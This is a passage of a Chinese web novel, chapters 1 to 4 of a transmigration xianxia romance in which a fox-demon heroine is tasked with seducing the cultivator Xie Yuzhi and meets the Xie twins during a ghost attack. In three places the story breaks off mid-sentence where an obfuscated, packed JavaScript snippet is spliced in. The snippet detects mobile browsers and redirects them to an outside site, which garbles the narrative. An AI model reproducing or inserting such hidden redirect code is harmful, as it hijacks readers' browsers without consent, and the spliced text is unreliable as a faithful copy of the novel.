《招惹男主弟弟后》 1. 任务 合欢宗外殿,空气中充斥着甜腻的香气,媚态生姿的女人斜倚在软塌上,身侧两个小丫鬟持着蒲扇轻扇,鬓发微微飘动。 她抬起半眯的眸子,瞧向殿台下的一排排小妖,嫌弃地皱了皱眉,提起衣袖掩住鼻子,“来的都是什么妖啊?搞得到处都是凡间难闻的浊气。” 绿衣管事弓着腰迎上去,朝合欢宗三长老叶莘道:“叶大人,这些都是各处的小妖,来投奔合欢宗寻求庇护的。” 他谄媚笑道:“大人第一次负责宗门招新,难免不适应。根据他们的资质,给他们入门考核的玉筒就好。” 叶莘懒洋洋地点头,“好,既如此,你去办吧。” 管事微愣,他可看不出小妖的资质啊。但他转念一想,三长老把这件事交给他,不就是看重他吗? 他取过装玉筒的匣子,朝叶莘拜了三拜,“多谢叶大人!多谢叶大人!” “啊——救命啊!”一团粉色的身影从天而降,砸在院中枝繁叶茂的合欢树上,新生的枝叶都折断了大半。 “搞什么!鬼哭狼嚎地搞什么!”管事抱着匣子,哒哒哒下了台阶朝合欢树跑去。 落枝中钻出一个狐耳少女,余柚宁疼得抬手去揉屁股,触碰到尾椎骨连着的一条蓬松大尾巴,又惊叫出声。 “什么鬼东西!” “这还是人间吗?还在地球吗?” 管事一把将她提溜出来,“你这只狐妖,砸坏了合欢宗的圣树,你想死吗?“ 他死死瞪着余柚宁,好不容易得了机会办事,偏偏出了这样的岔子,他恨不得活剐了她。 余柚宁没时间注意他的反应,她脑子里传出陌生的稚童声音,脖子上的星形吊坠熠熠生辉。 吊坠是收养她的爷爷给的,从小就一直戴在身上,在她大学刚毕业时,爷爷失踪了,她在爷爷的房间找到一幅奇怪的画。 她察看画时,吊坠垂落在一个类似阵法的图案上,蓝光一闪,她就来到了这里。 【小主人,听得见吗?小主人?】 “传说中的穿书系统吗?”余柚宁悄咪咪问。 【算是吧,我是你脖子上吊坠的器灵沉星,你的爷爷是我的主人,你现在的身份是小说《渡仙》中的女配余柚宁。】 “余柚宁?那个和我同名同姓活不过三章的炮灰女配?” “开玩笑的吧?我爷爷不就是一个普普通通的老师吗?” 【沉星是不会骗人的,主人说若你寻他来到这里,就把命书交给你。】 “东西呢?给我吧?” 【可惜出了变故,命书落到了合欢宗手里,所以需要小主人假意投奔合欢宗完成任务,取回它。】 【小主人,我的灵力快耗尽了,多加小心。】 “那你知道爷爷去哪里了吗?” 管事只听得见她在说话,这只可恶的小狐妖竟然将他视若无睹,还自顾自说着稀奇古怪的话,他顿时怒火中烧,“你好大的胆子!” “看来非得给你吃点苦头!” 叶莘被惊扰到,及其不耐烦地出声:“把闹事之人给我带过来!” “是,叶大人。”管事将她抓到殿内,丢到叶莘的软塌前。 “沉星,沉星?你说句话啊?”余柚宁来这里不到几分钟,已经摔两次了。 她小心翼翼地抬起头向上看去,是个身着紫衣的艳丽女子,一颦一笑都魅惑人心。 叶莘立起身坐着,微微吸了口气,调笑道:“这个小狐妖倒是不同,身上的味道不俗于这殿内的香薰。” 表面是夸赞,眸色却瞬时冷了下来,“可惜你折断了圣树。” “这可是大罪啊,你说我该怎样处置你呢?” 不对吧?这也没到第三章啊?就要死了? 常着紫袍,喜欢以紫玉装饰的长老?应该是合欢宗里最爱美的三长老,叶莘。 原著合欢宗的养颜丹较为劣质,服用过多会导致皮肤出现红斑。 所以叶莘一直钻研高阶养颜丹的配方,可惜其中一味草药只有在寂空山内门生长,而合欢宗归属魔修,被仙门不耻,只能花大把灵石购买养颜丹。 余柚宁望着她花痴道:“大人,您长得好生漂亮,是我这辈子见过最美的人了。” 叶莘噗嗤笑出声,“倒是会说话。” 视线随意扫了她一圈,“长得也不错,可惜我找不到不处罚你的理由。” 余柚宁心道:找不到没事,我自己找。 她从腰间的布袋中取出一枝翠玉兰,“我是在寂空山下修炼的,曾误入水月宗取到这株仙草,不知长老可需要?” 叶莘隔空取过她手里的翠玉兰,眼眸微闪,饶有兴味地打量起她,“竟能进入水月宗的结界,那岂不是有机会……” 余柚宁松了口气,抬眸又撞向叶莘笑意不明的视线,“你想进合欢宗?” “想!我一直想入合欢宗修炼法术!” 叶莘朝管事说了什么,从匣中取出一只玉筒递过来,“完成上面的任务,你便是合欢宗的外门弟子。” “否则……合欢宗不留无用之人。” “你的任务是破上面之人的无情道,使他受功法反噬,听明白了吗?” 余柚宁识趣地狠狠点头,“明白了。” “去吧。”叶莘抬手将她送了出去。 余柚宁检查着玉筒,取出里面的字条,“引诱水月宗无情道剑修谢瑜……”应该还有一字,只是后面的墨迹晕开了。 “这字不清晰啊!”余柚宁握着玉筒往回走,被结界挡住,里面的人好像也看不见她。 原书水月宗有名的谢氏无情道剑修有两位,一个是光风霁月的正道魁首谢瑜白。 另一个是他的双生弟弟谢瑜之,同样的惊才绝艳,却深居简出,低调神秘。 谢瑜之受兄长耀眼的光芒遮蔽,蚀骨的嫉妒逐渐吞噬理智。水月宗新宗主谢瑜白继位时,他堕仙为魔,最终成为书中搅弄风云、病娇阴鸷的大反派。 而余柚宁,便是谢瑜之彻底入魔时随手掐死的炮灰。 按照穿书定律,合欢宗的入门考核,怎么可能让她去攻略那个高岭之花,主角光环亮瞎眼的谢瑜白。 谢瑜之的无情道迟早要破,又是未来的大魔头,所以攻略对象应该是谢瑜之。 奇怪的是,合欢宗的入门考核不是向来找魔修或不知名仙门吗? 何时轮到水月宗这样赫赫有名的大宗门了?甚至还是书中戏份颇多的谢家兄弟。 算了,给什么就做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811889|175276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么吧。 她心神不宁地握着玉筒往合欢宗门外走,与一个蓝衣女子擦肩而过。 “是你呀?”蓝衣女子叫住她,笑得和善,“我叫紫嫣,也是来参加合欢宗新弟子选拔的。” 紫嫣?没什么印象,应该是同她一样戏份不多的炮灰。 “你叫什么名字呀?你是从哪来的?你刚刚摔得疼不疼啊?” 嗯……看来是个自来熟的小话唠,余柚宁向她说了自己的名字,转而问:“你也拿了玉筒吗?你的任务是什么?” 紫嫣将字条拿给她看,“是取长洲山弟子的元阳,这长洲山没什么名头,应该挺容易的。” “只是我还未做过那事……”她的脸颊微微泛红,想了想问她,“你的呢?” 余柚宁摊了摊手,“水月宗。” 紫嫣猛地瞪大眼睛,“水月宗?!”惊叫声惹得一众小妖纷纷转头看向她们。 紫嫣放低声音凑近她,神色担忧,“我们这样的小妖哪能进得去?他们是不是在为难你啊?” 别的妖或许进不去,但炮灰余柚宁必须进得去。她自小在寂空山下长大,沾染了些许仙气,在水月宗进出自如。 她第一次误入水月宗时还未化形,腿上受了伤,被谢瑜白所救,从此便痴恋上了谢瑜白。 时常潜入水月宗送礼物,送糕点,可惜她每次都把谢瑜之当作了谢瑜白,最后在谢瑜之彻底入魔时被他杀死。 余柚宁拍了拍她的肩,装作看淡生死的样子,其实手指都在微微发颤,“不……不就是水月宗吗?” “我去水月宗就跟回自己家一样。” 紫嫣一脸敬仰,“好厉害啊!你的妖力是不是也很强啊!” 装过头了,余柚宁记得炮灰的妖力很弱,甚至紧张害怕就会现出妖相,只能尴尬笑笑,“还行吧。” 紫嫣亲昵地揽住她,“那我们做朋友吧,以后到了合欢宗也好有个照应,一起修炼。” “好啊。”拒绝漂亮妹妹的事,她做不到。 紫嫣拉着她下山,手里化出两个蝴蝶翅膀似的东西,分给她一个,“水月宗和长洲山同路,我们可以一道去。” 余柚宁好奇地打量着手上的东西,“这个是?” “你不知道吗?”紫嫣讶然,“这是用来飞行的法器啊。” “一定要飞过去吗?”余柚宁有些恐高,也无法确保它的安全性,摔下来得成一滩肉泥。 “水月宗与这里相隔千里,你难道要走着去吗?”她顿了顿,“还是你用的是别的法器?飞鸢?飞剑?” 书里也没具体写过飞行法器,余柚宁对此一概不知,好在紫嫣为人友善,乐于助人,细致地教她蝶翼的使用方法。 她只能用震撼来形容,这小小一只像是装饰品的蝶翼,施术放在背后竟然凭空生出翅膀,飞行自如。 不过紫嫣说这是低阶法器,飞的不是很快,而且飞行一段时间后,要换新的,才能继续赶路。 三天后,她们便到了寂空山外的一处街市。 秋风送寒,长街人来人往,热闹非常,一方四处挂着红灯笼的楼外,更是吵吵嚷嚷。 紫嫣兴奋地指向楼外的牌匾道:“既然途经这醉仙楼,我们便一起进去瞧瞧吧。” 2. 押注 这醉仙楼,书中有详细的笔墨赘述。 仙妖魔混杂之地,也是书中的“情报局”。各地修士妖魔可在此地打探消息,交易宝物。也可顺便听听台上那位蓝衫华发的说书人李肆讲书。 “诸位看官,上回我们讲到天书降世,传神谕:无情道。” 跑堂小二拎着铜壶在人群里钻,白毛巾被汗浸得发黄,见她们进楼,客客气气将她们迎到堂内坐下。 仙气飘飘的白玉京女修围坐在桌边说笑,拐角处几个魔族大口喝酒吃肉,背上横着铮亮的大刀。 “又是无情道,现在修无情道成功的能有几个……”修士甲撇了撇嘴,“老李头,你都讲了百八十遍了,能不能讲点新鲜的?” “是啊,我都倒背如流了,我要听新鲜的!”其他修士附和。 李肆抬眼扫过众人,神秘兮兮道:“那诸位今日可算来得巧了,老朽要讲的是白玉京另一桩不为人知的秘辛。” “魔生双子,一仙一魔,诸位可曾听过?”李肆声音拖长,惊堂木拍响。 余柚宁额头青筋跳动,仙魔双生子?不就是谢瑜白和谢瑜之吗?这说书人什么来头?竟然连这个都知道?! 紫嫣察觉她的神色,关切问:“阿宁,怎么了?” 余柚宁摇摇头,将一碟酥饼推给她,“这个好吃,你尝尝。” “一百年前,无情道剑尊横空出世,有人言,他不久将飞升成神。”李肆轻抬左手,台后出现一幅荡漾的水墨画,画上是提剑而立的白衣仙人。 “他只用了三年便肃清九幽魔域,魔族再不敢来犯,还创立了水月宗。” 堂内的人道:“水月宗!天下第一仙宗!你说的是水月宗的谢无咎仙尊?” 李肆点了点头,“只是……他从魔域带回了一位女子。” 剑尊的虚影旁凝出个女子,众人讶于女子的绝色,轻声吸气。 “据说是魔族圣女,生得是眼含秋水腰赛柳。”李肆突然压低声音,满堂书客不自觉屏住呼吸凝神倾听。 “可惜世间最难逃,莫属情之一字。即便是无情道大成的谢仙尊也逃不开啊!” “谢仙尊无情道破,与魔女相恋,水月宗长老极力反对,僵持数十年,谢仙尊仍旧不管不顾与魔女成了婚!” 台下一阵唏嘘,“后来呢?” “后来啊……”李肆故意拖延片刻,才慢悠悠道,“魔女诞下双生子,一个天生仙骨,一个天生魔心。” “天生魔心!此子长大后患无穷啊!” 几个修士问:“谢仙尊可有杀了那孩子?” 李肆捋了捋胡子,一脸神秘,“这老朽便不知了,老朽只知道,水月宗谢惜长老养大的两个义子,长得一般无二。” 台下之人笑出声,“哈哈哈哈哈,你不会想说谢瑜白和谢瑜之是魔女生的双生子吧?” “怎么可能?” “且不说他们才二十出头的年岁,单看那谢瑜白一身仙风道骨,也绝不可能是魔女之子。那谢瑜之虽说阴郁了些,但也是名门正派出身。” 见台下乱作一团,李肆的死对头王武趁机揽客,“诸位客官莫听那李铁嘴胡诌,快来我这里押注啊!” “下届天极丹师比试,押中返双倍灵石!” “现在谢瑜白仙师票数领先,名额有限,先到先得!” 几个丹修挤过去,从乾坤袋口取出大把灵石放在谢瑜白的名字上,“必须押谢仙师啊!” “我也押!稳赚不赔啊!” 这王武倒是机灵,他消息灵通,早知铸剑山庄的荀烨买通了主考的仙师,想让自己一举成名,才敢放谢瑜白的名字上去。 可惜,他棋差一招。原著中提到,谢瑜之的丹道比谢瑜白还要强许多,主考的仙师见他炼制的蕴灵丹,眼睛都直了。 对于修真者来说,蕴灵丹这样增加修为的仙丹远比灵石诱人得多,纷纷倒戈谢瑜之。而谢瑜之太过低调,几乎没有人知晓他的本事。 所以,生财之道,就在此处。 余柚宁拉着紫嫣往人堆里挤,除了这些天需要用的,把身上仅剩的灵石倒出来,堆放在谢瑜之的名字上,“我押这位小谢仙师。” 旁边戴着帷帽的玄衣青年依栏靠着,目光似有若无地瞥向她。 王武抬起头看了她一眼,“姑娘不压谢瑜白?” “这你就不懂了吧?”余柚宁得意道:“小谢仙师的丹道之术,若他称第一,世上无人敢称第二!” 她朝紫嫣小声询问,“紫嫣,你还有灵石吗?” 紫嫣摇了摇头,“我出来的急,灵石只够饭钱。而且娘亲说过,赌钱是不对的。” “这不算赌。”余柚宁轻叹,紫嫣真是个乖孩子。知道结果的押注不算赌,而是稳赚不赔的好买卖。 帷纱下薄唇轻勾,玄衣青年取出一包沉甸甸的灵石,放在她的灵石旁边,“我替这位姑娘,压谢瑜之。” 清冽好听的声音淌过她的耳际,余柚宁偏头看向身边的人,只看到他玄色的衣襟。再将头抬起些,才看见帷帽下若隐若现的下颌轮廓。 一个轮廓便让她生出无限遐想,再结合他宽肩窄腰的身形,好听的声音,此人一定长相不凡。 “这位……”余柚宁刚开口,身边的玄色身影早已消失了,走得这样快,只余一袭清淡的兰草香,夹杂着微弱的血腥气。 紫嫣站在她旁边,“阿宁,你认识那位公子?” 余柚宁回过神,摇摇头道:“不认识。”随即她想起什么,抬手去捞上面的钱袋,被王武一把抓住手腕。 “姑娘,放在上面的灵石如棋子,落子不悔。” 余柚宁无语收回手,转身往门外去,紫嫣跟着她问:“阿宁,你去哪?” “去找那个人,问他的身份,否则以后我怎么还他灵石?”余柚宁追到外面,望着熙熙攘攘的人流,那人竟像是凭空消失了。 紫嫣安慰她,“算了阿宁,我看那人是自愿赠给你的,找不到也无碍的。” “若是以后有缘相遇,你再还他就好了呀。” 余柚宁点点头,“也是。趁着天还亮,我们得找间客栈住下,明天还要赶路呢。” “对了,我听说醉仙楼附近的客栈特别贵,我们还是往前走再看看吧。”紫嫣提议。 天色沉下来,她们走到一个叫归云镇的地方,这里的街市空寂萧瑟,街 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811890|175276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道的铺面也渐渐关停了。 有些不对劲,归云镇靠近樊城,应该很热闹才对。 紫嫣紧紧攥着她的衣袖,声音打颤,“阿宁,怎么客栈都关停了呀?” “这条路凉飕飕的,我有点害怕。” 其实余柚宁自己也害怕,但是眼下还是要先找到睡觉的地方,她带着紫嫣穿过街角,总算发现一家即将关门的客栈。 掌柜是个和气的花发男人,他招呼着她们进去,“两位姑娘,快进来吧,等过了子时,外面会很危险!” 紫嫣拉着她的手先一步进去,余柚宁脚步微顿,转身看了眼外面昏暗的街道,也随她走进去。 掌柜的先关好客栈门,又从抽屉取出一枚竹牌,递给她们,“两位姑娘来得巧,还剩最后一间房。” “两位先坐,夫人正好熬了甜汤,我给两位端一碗尝尝,再带你们入房。” 余柚宁道:“掌柜的,我们不用甜汤,不必麻烦。” 掌柜笑着继续往后堂走,“不麻烦的。” 很快,掌柜端着两碗热腾腾的甜汤过来,放在桌案上,“里面还加了糯米丸子,两位快尝尝吧。” “谢谢掌柜的。”紫嫣端起一碗,低头碰向碗边,余柚宁出声制止道:“阿嫣,先等等。” 掌柜神色微变,看向余柚宁,“姑娘这是什么意思?难道怕我下毒不成?” 他端起另一碗甜汤灌入喉中,擦了擦嘴角的汤渍,道:“姑娘,这回可相信了?” 余柚宁顿觉自己误会了好人,认真道歉,“掌柜的,对不住。只是我们两个女子出门在外,定然要多留个心眼。” “掌柜的初见就让我们喝甜汤,我这才……”余柚宁取出灵石递给他,“还请掌柜的不要生气赶我们走才是。” “赶你们走?不会的。”掌柜回以她安心的笑,“看你们年岁和我女儿差不多,唤我年叔便好。” “年叔,为何这里的店铺这么早关门啊?”紫嫣喝完甜汤,咂咂嘴问。 余柚宁也附和着问:“还有,您说的子时之后,外面会很危险,是为什么?” 年叔望向窗外的暗色,眸中晕起一抹水雾,“从一年前开始,夜里就不安全了,怨鬼丛生,因为这里出现了魇魔和画皮妖。” 魇魔?原著里那个从九幽魔域逃出来的,食人梦魇的邪魔。以梦为食,但口味极其刁钻,若吃的梦令他不满意,就会把人交给与他相伴相随的画皮妖。 当他食尽人的最后一个梦,便只剩魇,永远无法醒来。而画皮妖会趁着人的皮肤还保持着活性,一寸寸将皮肤剥开,为她自己所用。 总之,很恐怖就是了。 倒霉催的,刚出新手村就让她碰到这样的事。 年叔眸色暗淡下来,眼角泛起几点泪光,“三月前,我的女儿便是在外面遇到了那魇魔……” 他的声音发抖,没再说下去。 余柚宁猜到了后面的事,心里泛起一阵酸涩,起身轻拍年叔的后背,安慰道:“年叔,别太难过了,要保重身体才是。” 年叔重重地阖眸又睁开,开口的话带上鼻音,“对了,姑娘你还没喝甜汤,我再去给你盛一碗。” 3. 避嫌 年叔重新端来一碗甜汤,余柚宁这次很爽快地喝下,遂问:“年叔,这甜汤有什么特别的功效吗?” 年叔点点头,“甜汤里加了水月宗的谢仙师给的药散,饮下后便会一夜无梦,也就不会被魇魔盯上了。” 余柚宁想了想问:“是谢瑜白仙师吗?” “对,就是那位仙门魁首,谢瑜白仙师。”他的眸中满是钦佩,讲起谢瑜白滔滔不绝,“这谢仙师啊,可称得上是我们的庇护神,若没有他相救,归云镇怕是早就成死城了。” “而且啊,听说他很快就要继任水月宗宗主之位,身居高位,却仍然记挂着我们这些普通人,乃世人之福啊。” 那可不,谢瑜白可是原书的男主啊! 集世间所有美好的品格于一身,要颜值有颜值,要智商有智商,要武力有武力,简直是人间惊鸿客的代名词。 原书前期大部分都是男主谢瑜白的成长线,而女主在一百年后才出生。她有时也觉得作者脑回路清奇。 非得等到男主变老登,才安排女主出场。女主没能在最好的年华见到他,甚至连他黑发的样子都没见过。可惜,实在可惜。 后来的剧情便是白玉京仙尊与凡间少女先婚后爱,经过一系列纠缠阻隔才得以相守。剧情甜虐交织,跌宕起伏。 而虐恋源头,便是谢瑜白修无情道。爱而不能爱,若有人提前告知他,女主宁雪微是他突破无情道的天命道心,或许会少去很多虐心剧情。 “阿宁,你在想什么呢?”紫嫣的手掌在她眼前晃了又晃,“时候不早了,我们回房去睡吧?” 余柚宁回过神来,“好。” 年叔也起身给她们带路,爬上竹制楼梯,钥匙插入门锁,随着一声脆响,房门吱呀打开。 房内已经点了油灯,余柚宁借着微弱的灯光,瞧见一抹似曾相识的玄衣立于窗边,头顶的帷帽也未摘,腰间玉牌映着月光,尤其晃眼。 窗户半开,飘入的夜风吹拂起他帷帽的黑色薄纱。 余柚宁走近半步,确认他衣服上的暗纹与白日所见的相同,才问:“是你?” 青年闻言转过身,手里的长剑还在滴血,在地上晕开一片黏湿的血迹。他似乎淡淡看了她一眼,没有说话。 年叔倒是先开口了,“公子是何人啊?你是怎么进来这个房间的?” 青年抬手指了指窗户,随后略过他们三人,径直走到摆着茶几的桌前坐下,旁若无人地倒了杯茶,一副大爷做派。 年叔依旧和气,“这位公子,本店的客房已经卖完了,若要留宿,只能委屈你去我女儿的旧房住了。” 青年指节分明的手抬起青色茶杯,低头饮了一口,淡淡道:“我就住这里,哪也不去。” 余柚宁这才反应过来他要强占她们订的房间?!怎么回事?那个慷慨给她一袋灵石押注的大方青年,怎么一瞬间形象崩塌了! 她尽量好声好气地与他攀谈:“公子,这间房是我和阿嫣一起订的,这两女一男共处一室也不方便,你还是换个房间吧?” “没什么不方便的。”青年轻嘁一声,微微偏头瞧向她,“你不会觉得,我会对你生别的什么心思吧?” 蛮横霸道,语气还相当恶劣。 “你!”余柚宁气极。 紫嫣抓住她的手臂,哆哆嗦嗦地指向他那把染血的剑,小声道:“阿宁,他看起来很不好惹,多一事不如少一事,你别再与他争了。” 年叔眼瞧着是劝不动青年了,只好转而向她们提议,“要不两位姑娘去我女儿的房间歇息一晚?” “虽然我女儿过世了,但她的房间我每日都在打扫,很干净。” “这样也好。”紫嫣拉了拉余柚宁,她的脚像是黏在地上,分毫不动,“阿宁?” 余柚宁转身在玄衣青年对面坐下,也给自己倒了杯茶,“凭什么让我们换房,要换也是他换。” “阿宁,他犟就罢了,你怎么也跟着犟呢?”紫嫣走过来附耳道。 年叔没了办法,只好再问最后一遍,“几位客官当真不换?” “不换。”余柚宁和玄衣青年异口同声答道。 紫嫣也不敢独自一人去年叔女儿的房间,她突然反应过来那里是过世之人的房间,相比之下,还不如在这里住。 年叔叹了口气,“既如此,三位只能在这间房内将就一晚了,有什么需要两位姑娘吩咐我便是。” “年叔,劳烦您待会儿派人送浴桶和热水过来。”余柚宁看向玄衣青年,朝年叔道:“我们需要沐浴更衣。” “姑娘……这?”年叔下意识瞄了眼玄衣青年,“姑娘们要不明早等……再?” 余柚宁似笑非笑,“不必。我相信任何一个男人,但凡有点礼仪教养,都知道要避嫌的。” “好,我这就去吩咐。”年叔走到房门外,朝青年道:“公子可需要我吩咐人送一碗甜汤过来?” 青年摇摇头,手指捻着杯壁,等年叔关好门走远后,才缓缓开口,清冽的声音染上怒意,“小狐妖,你是在说我没教养?!” 火药味弥漫开来,紫嫣大气都不敢出,余柚宁却分毫不让,“有没有教养,等热水送来不就能见分晓了吗?” 青年将手里的剑握了放,放了握,“别忘了,在醉仙楼我给过你灵石,你身上的钱也有我的一部分。” “少绑架我,是我求你给的吗?”余柚宁冷哼一声,“没想到你是这样的人,下次是不是还要以灵石敲诈勒索我?” 房门叩响,“姑娘,热水送来了。” 余柚宁起身开了门,吩咐小二将浴桶端到屏风后面,小二一走,整个房间又安静下来,水汽氤氲蔓延。 “这位公子,你还不出去?”余柚宁透过屏风看向他的身影,“这热水不尽快用可就凉了。” 说着她缓缓脱下外裳,青年抓着剑猛地站起身,热气混合着女儿家独有的甜香,以及一阵清淡的茉莉香,一齐钻进他的鼻间。 他的双耳霎时红得滴血,快步往门外走去,手里的剑止不住颤抖,气急败坏道:“你一个女子,竟这般不知羞耻!” “若不是我哥,我才不来多管闲事,但愿你不要后悔!” 紫嫣将头探出去看了会儿,回来关好门,走到余柚宁身边,“他真的走了!阿宁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811891|175276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是你有办法啊!” “这样的硬茬都能被你送走。”紫嫣脱了外裳,走向另一边的浴桶,“不过,若他不走,你真的要当着他的面?” 余柚宁将身子浸入热水中,摇摇头,“当然不会,不过我知道他一定会走。” “啊?你怎么知道的?”紫嫣趴在浴桶边,满脸疑惑问。 “你可有看见他腰际挂着的玉牌?”余柚宁慢慢解释道,“云水与弦月相交的图案,一看就是水月宗的弟子。” “而水月宗最是守清规戒律,男女弟子分峰而居,除了授课的长老和仙侍,那里的修士几乎不曾与异性接触过。” “听他的声音,年岁应该不大,一个不曾接触女子,又血气方刚的青年修士,怎么想也不会留下看女子洗澡的。” 紫嫣听得连连点头,赞叹不已,“阿宁,你懂得好多啊,相信你的任务也会很快完成的。” “到时候,我们传音相会,一起去合欢宗。” 余柚宁只是熟读原著,对水月宗比较了解罢了。至于那个任务,想必不会容易,毕竟任务对象是阴郁反派谢瑜之。 不过有一点她想不明白,那青年能随手给她一袋灵石,就证明他并不缺钱,那为何又要钻进这一间客栈,死活都不愿走呢? 还有他那把染血的剑,他是刚杀了什么人吗?走之前的那句话又是什么意思?他是专程来这里的? 等洗浴后,小二撤走了浴桶,那青年也没再回来。 夜里,紫嫣像菟丝花一样扒在她身上,余柚宁有些睡不安稳,半睡半醒间,有什么森寒黏腻的东西触碰到她的皮肤。 她下意识瑟缩一下,缓缓睁眼,竟是什么都没有。 可那种感觉还在,还换了位置,滑至她的脖间,余柚宁顿时起了一身鸡皮疙瘩,她伸手往虚空中一抓。 同样的黏腻,森寒。 就在她抬眼去看时,从她抓住的地方,一个类似人形的轮廓,开始从透明变得暗红,躯体肌肉上青黑色的脉络盘根错节。 像极了原著中描述的,被画皮妖扒皮而死,怨气不消的厉鬼。 它们因画皮妖而死,却为了能够有一副完整的尸身,甘愿变得和画皮妖一样执着于寻找皮囊,称之为画皮鬼。 “啊——”余柚宁尖叫着甩开手,差点露出妖相。她推搡旁边的紫嫣,而紫嫣好像睡死过去,怎么推搡都没有反应。 她的手再次被那团东西抓住了,耳畔响起刀刮过砂纸般粗粝嘶哑的声音,“嗬嗬嗬,美人皮,总算让我找到最合适的美人皮了!” “把它剥下来,交给陶大人!”厉鬼尖长的指甲陷入她的皮肤,疼得她额头的青筋暴起,冷汗直冒。 “剥下这张皮,套在我的尸身上,我的尸身就能完整了!”她越笑越兴奋,“我就能入地府投胎了!” 窗户被阵阵阴风吹得大大敞开,一道青色的灵光飘入房间,在余柚宁周身缭绕,随即钻进她的耳中。 耳中传来一道清淡温和的声音,“姑娘莫怕,家弟已在房中设下阵法,姑娘引她至离位即可。” 家弟?刚才那个玄衣青年,是他的弟弟? 4. 上药 余柚宁强迫自己冷静下来,思索起如何引厉鬼过去,书中的厉鬼喜欢带在极阴之处,而月光便是阴气的具象化。 可入窗的月光刚好照在她所在的位置,难怪她会被鬼盯上。她瞥见墙边挂着的圆镜,顿时打定了主意。 余柚宁吸着冷气,将身子挪向圆镜,“她剥你的皮,你剥我的皮,那接下来,我要去剥谁的皮?” 趁她的视线落在别处,余柚宁及时将圆镜扯下,藏在身后。 “我管你剥谁的皮!”女鬼青灰色裸露的眼球瞪向她,视线变得锐利,“不对!你能听见我说话?” “是啊,我不但听得见,还看得见。”无皮厉鬼的样子太过吓人,余柚宁尽量避开她的脸,“你真的要剥我的皮吗?” “不然呢?”女鬼咧嘴笑着,没有皮的缘故,一直咧到耳下的位置,露出森白的牙齿,阴厉恐怖。 “陶大人说了,从后颈三寸的位置开始剥,就会得到一张完整的人皮。” 余柚宁暗暗调转镜子的角度,将月光反射到离位,与她搭话,“从后颈处吗?要不你再看看我这张皮到底合不合适?” 女鬼凑近她,余柚宁推了推,“站远一点才看得清楚,就……就那个位置好了。”她指向镜面反射的月光处。 余柚宁警惕地看着她飘过去,刹那间,自离位为中心燃起蓝色的离火,向四面八方窜开,数道古老的符文涌向女鬼暗红色的身躯。 “你联合那些修真者骗我!你想让我死?!” 余柚宁心闭眼默念阿弥陀佛,善哉善哉。是你先来害我的,怪不得我。 女鬼在阵眼中痛苦地蜷缩起来,炙烤的滋滋声响起,飘荡开阵阵腐败的臭味。 “你们杀了我又怎样?还会有源源不断的妖鬼来这里!” 一缕蓝色的灵光飘来,“怎么?吓得屁滚尿流了?” 这恶劣的语气,这讨人嫌的调调,余柚宁跑向窗边往外看去,簌簌风声吹起玄色衣角,她就像被老鹰抓住的小鸡一样,被那人提溜出去。 他带着以极其快的速度往下坠,余柚宁被迫吞了好几口冷空气,牙关都在打颤。 她的脚刚刚落地,他就立刻松了手,余柚宁腿已经软得站不稳了,差点摔个狗吃屎。 酿跄几步后,她抱住某个人的大腿,才稳住身子。那人浑身像冻住了一样,手中一柄通体剔透的青色长剑发出嗡嗡的震响。 余柚宁抬头看到一道清晰的下颌线,他浑身都绷得很紧,像是在极力忍耐着什么,沉吟片刻,才道: “姑娘,已经没事了,现在可以放开手了吗?” 是那个提醒她的人?!余柚宁刚松开手,传来一阵轻蔑的嘲弄:“又是一个故意向兄长投怀送抱的女人。” “不知廉耻。” “你哪只眼睛看见我是故意的?”余柚宁恶狠狠瞪了他一眼,才发现他已经摘下帷帽,懒懒怀着双臂,抱剑而立。 墨发只由一条玄色金边云纹发带束着,一袭黑色劲装看起来颇有少年英姿。 肤色如雪,睫毛长密如鸦羽,那双含情的狐狸眼,连她都自愧不如。左眼下有颗小却醒目的红痣。 余柚宁拍了拍自己的脸,怎么可以被他表面的美色迷惑?!就算他长得再好看,长着这样一张嘴,舔一口都能给人毒死。 “阿之,勿要出言不逊!”白衣男子将长剑的剑柄向她倾斜,“姑娘,先起来吧。” 余柚宁握住剑柄借力站起,对上白衣人的脸时,眼神瞬间凝滞。 他和那个玄衣青年几乎长得一模一样,同样妖孽惑人,只是少了眼下那颗红痣,眉眼要比弟弟更冷淡些,冷眉如寒月,星眸覆霜雪。 等等!他刚才叫那个玄衣青年阿之?以及她现在握在手里的这柄标志性的碧落剑。不会是谢家两兄弟吧? “谢瑜白?”余柚宁僵硬转向另一边,“谢瑜之?” 谢瑜之鼻孔出气轻哼一声,“倒是有点眼力见。” 谢瑜白闻言轻笑,似冬日的阳光,和煦却不温暖,“姑娘是如何认出来的?” 